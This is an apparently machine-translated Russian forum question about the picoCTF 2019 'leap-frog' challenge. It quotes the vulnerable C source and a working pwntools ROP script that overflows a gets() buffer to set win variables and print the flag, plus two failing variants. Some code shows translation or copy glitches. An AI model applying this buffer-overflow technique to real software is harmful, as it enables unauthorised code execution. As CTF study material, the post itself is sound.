Я новичок в бинарной эксплуатации. Это происходит от picoctf 2019, скачок лягушки. Конкретное решение, которое меня интересует, использует переполнение буфера в функции vuln (), чтобы заставить выполнение вернуться к записи PLT gets. Это сделано потому, что get позволяет нам писать в произвольное место в памяти (см. ссылка ). Мы заинтересованы в написании win1
, win2
и win3
. Если мы можем установить для каждого из них значение true, тогда мы можем напечатать флаг! Итак, все, что нам нужно для использования программы - это buffer + address_gets_plt + address_flag + address_win1 + values_for_win_vartiables
.
Source
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdbool.h>
#define FLAG_SIZE 64
bool win1 = false;
bool win2 = false;
bool win3 = false;
void leapA() {
win1 = true;
}
void leap2(unsigned int arg_check) {
if (win3 && arg_check == 0xDEADBEEF) {
win2 = true;
}
else if (win3) {
printf("Wrong Argument. Try Again.\n");
}
else {
printf("Nope. Try a little bit harder.\n");
}
}
void leap3() {
if (win1 && !win1) {
win3 = true;
}
else {
printf("Nope. Try a little bit harder.\n");
}
}
void display_flag() {
char flag[FLAG_SIZE];
FILE *file;
file = fopen("flag.txt", "r");
if (file == NULL) {
printf("'flag.txt' missing in the current directory!\n");
exit(0);
}
fgets(flag, sizeof(flag), file);
if (win1 && win2 && win3) {
printf("%s", flag);
return;
}
else if (win1 || win3) {
printf("Nice Try! You're Getting There!\n");
}
else {
printf("You won't get the flag that easy..\n");
}
}
void vuln() {
char buf[16];
printf("Enter your input> ");
return gets(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
}
Следующий скрипт печатает флаг при запуске в оболочке CTF
РешениеСкрипт
from pwn import *
payload = ('A'*28) + p32(0x08048430) + p32(0x80486b3) + p32(0x0804a03d)
# = + address_gets_plt + address_flag + address_win1
try:
p = process('./rop')
p.recvuntil('> ')
p.sendline(payload)
p.sendline('\x01\x01\x01\x00') # sets win1, win2, win3 to true via gets reading from stdin
print('Flag: ' + p.recvuntil('}'))
break
except:
p.close()
Следующий скрипт работает НЕ , но единственное различие между программами состоит в том, что он объединяет вызовы sendline()
. Я предполагаю, что это потому, что программа еще не достигла вызова get, поэтому она не готова для ввода из стандартного ввода.
Неудачное решение 1
from pwn import *
payload = ('A'*28) + p32(0x08048430) + p32(0x80486b3) + p32(0x0804a03d)
# = + address_gets_plt + address_flag + address_win1
try:
p = process('./rop')
p.recvuntil('> ')
p.sendline(payload+'\x01\x01\x01\x00')
print('Flag: ' + p.recvuntil('}'))
break
except:
p.close()
Неудачное решение 2
Затем я попытался запустить программу, не добавляя '\x01\x01\x01\x00\'
к payload
, надеясь, что выполнение ударит по get и ждет ввода ввода stdin;однако вместо этого я получаю сегфо. Что не так с моей логикой для этих двух неудачных решений? Спасибо!